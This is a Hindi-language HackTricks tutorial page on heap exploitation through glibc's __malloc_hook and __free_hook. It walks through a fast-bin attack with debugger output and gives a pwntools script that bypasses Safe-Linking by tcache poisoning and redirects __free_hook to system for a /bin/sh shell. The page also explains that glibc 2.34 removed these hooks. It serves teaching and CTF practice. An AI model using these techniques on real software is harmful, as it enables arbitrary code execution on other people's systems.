mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
136 lines
12 KiB
Markdown
136 lines
12 KiB
Markdown
# WWW2Exec - __malloc_hook & __free_hook
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Malloc Hook**
|
||
|
||
जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे `malloc()` के कॉल होने पर बुलाया जाएगा** **libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को बुलाया जाएगा**।
|
||
|
||
`malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतज़ार करना या **`printf("%10000$c")** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` `malloc` को हीप में उन्हें आवंटित करने के लिए कॉल करता है।
|
||
|
||
One Gadget के बारे में अधिक जानकारी के लिए:
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||
{{#endref}}
|
||
|
||
> [!WARNING]
|
||
> ध्यान दें कि GLIBC >= 2.34 के लिए हुक **निष्क्रिय** हैं। आधुनिक GLIBC संस्करणों पर उपयोग की जाने वाली अन्य तकनीकें हैं। देखें: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||
|
||
## Free Hook
|
||
|
||
इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करता है, एक असंरचित बिन हमले के बाद:
|
||
|
||
{{#ref}}
|
||
../libc-heap/unsorted-bin-attack.md
|
||
{{#endref}}
|
||
|
||
यदि बाइनरी में प्रतीक हैं, तो `__free_hook` का पता लगाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:
|
||
```bash
|
||
gef➤ p &__free_hook
|
||
```
|
||
[पोस्ट में](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में:
|
||
|
||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||
0xf75dedc0 <free>: push ebx
|
||
0xf75dedc1 <free+1>: call 0xf768f625
|
||
0xf75dedc6 <free+6>: add ebx,0x14323a
|
||
0xf75dedcc <free+12>: sub esp,0x8
|
||
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
|
||
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
|
||
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- यहाँ ब्रेक करें
|
||
</strong>0xf75deddb <free+27>: test eax,eax ;<
|
||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||
</code></pre>
|
||
|
||
पिछले कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा।
|
||
|
||
अब एक **फास्ट बिन अटैक** किया जाता है:
|
||
|
||
- सबसे पहले यह पता लगाया जाता है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है:
|
||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||
</code></pre>
|
||
- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित होगा।
|
||
- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं।
|
||
- फिर, इस चंक में संपादन फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके।
|
||
- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि आकार `0x1f8` का एक और चंक बनाया जा सके जो **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करे जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है।
|
||
- और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जो **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो `/bin/sh\x00` को पैरामीटर के रूप में सिस्टम की ओर इंगित करता है।
|
||
|
||
---
|
||
|
||
## Tcache विषाक्तता & सुरक्षित-लिंकिंग (glibc 2.32 – 2.33)
|
||
|
||
glibc 2.32 ने **सुरक्षित-लिंकिंग** पेश किया - एक अखंडता-चेक जो **tcache** और फास्ट-बिन द्वारा उपयोग किए जाने वाले *एकल*-लिंकित सूचियों की रक्षा करता है। कच्चे फॉरवर्ड पॉइंटर (`fd`) को स्टोर करने के बजाय, ptmalloc अब इसे निम्नलिखित मैक्रो के साथ *गुप्त* रूप से स्टोर करता है:
|
||
```c
|
||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||
```
|
||
शोषण के परिणाम:
|
||
|
||
1. एक **heap leak** अनिवार्य है - हमलावर को एक मान्य छिपा हुआ पॉइंटर बनाने के लिए `chunk_addr >> 12` का रनटाइम मान जानना चाहिए।
|
||
2. केवल *पूर्ण* 8-बाइट पॉइंटर को ही बनाया जा सकता है; एकल-बाइट आंशिक ओवरराइट चेक पास नहीं करेगा।
|
||
|
||
इसलिए, glibc 2.32/2.33 पर `__free_hook` को ओवरराइट करने के लिए एक न्यूनतम tcache-poisoning प्राइमिटिव इस प्रकार दिखता है:
|
||
```py
|
||
from pwn import *
|
||
|
||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||
p = process("./vuln")
|
||
|
||
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||
heap_base = heap_leak & ~0xfff
|
||
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||
log.success(f"heap @ {hex(heap_base)}")
|
||
|
||
# 2. Prepare two same-size chunks and double-free one of them
|
||
a = malloc(0x48)
|
||
b = malloc(0x48)
|
||
free(a)
|
||
free(b)
|
||
free(a) # tcache double-free ⇒ poisoning primitive
|
||
|
||
# 3. Forge obfuscated fd that points to __free_hook
|
||
free_hook = libc.sym['__free_hook']
|
||
poison = free_hook ^ fd_key
|
||
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||
|
||
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||
malloc(0x48) # returns chunk a
|
||
c = malloc(0x48) # returns chunk @ __free_hook
|
||
edit(c, p64(libc.sym['system']))
|
||
|
||
# 5. Trigger
|
||
bin_sh = malloc(0x48)
|
||
edit(bin_sh, b"/bin/sh\x00")
|
||
free(bin_sh)
|
||
```
|
||
उपरोक्त स्निपेट हाल के CTF चुनौतियों से अनुकूलित किया गया था जैसे कि *UIUCTF 2024 – «Rusty Pointers»* और *openECSC 2023 – «Babyheap G»*, जिनमें से दोनों ने `__free_hook` को ओवरराइट करने के लिए Safe-Linking बायपास पर निर्भर किया।
|
||
|
||
---
|
||
|
||
## glibc ≥ 2.34 में क्या बदला?
|
||
|
||
**glibc 2.34 (अगस्त 2021)** से शुरू होकर आवंटन हुक `__malloc_hook`, `__realloc_hook`, `__memalign_hook` और `__free_hook` को **सार्वजनिक API से हटा दिया गया है और अब आवंटक द्वारा इनका आह्वान नहीं किया जाता है**। संगतता प्रतीक अभी भी विरासती बाइनरी के लिए निर्यात किए जाते हैं, लेकिन इन्हें ओवरराइट करने से `malloc()` या `free()` के नियंत्रण प्रवाह पर अब कोई प्रभाव नहीं पड़ता।
|
||
|
||
व्यावहारिक प्रभाव: आधुनिक वितरणों (Ubuntu 22.04+, Fedora 35+, Debian 12, आदि) पर, आपको *अन्य* हाईजैक प्राइमिटिव (IO-FILE, `__run_exit_handlers`, vtable spraying, आदि) पर स्विच करना होगा क्योंकि हुक ओवरराइट चुपचाप विफल हो जाएंगे।
|
||
|
||
यदि आपको अभी भी डिबगिंग के लिए पुरानी कार्यप्रणाली की आवश्यकता है, तो glibc `libc_malloc_debug.so` प्रदान करता है जिसे पूर्व-लोड किया जा सकता है ताकि विरासती हुक फिर से सक्षम हो सकें - लेकिन यह पुस्तकालय **उत्पादन के लिए नहीं है और भविष्य के रिलीज़ में गायब हो सकता है**।
|
||
|
||
---
|
||
|
||
## संदर्भ
|
||
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||
- Safe-Linking – 20 साल पुराने malloc() एक्सप्लॉइट प्राइमिटिव को समाप्त करना (चेक प्वाइंट रिसर्च, 2020)
|
||
- glibc 2.34 रिलीज़ नोट्स – malloc हुक का हटाना
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|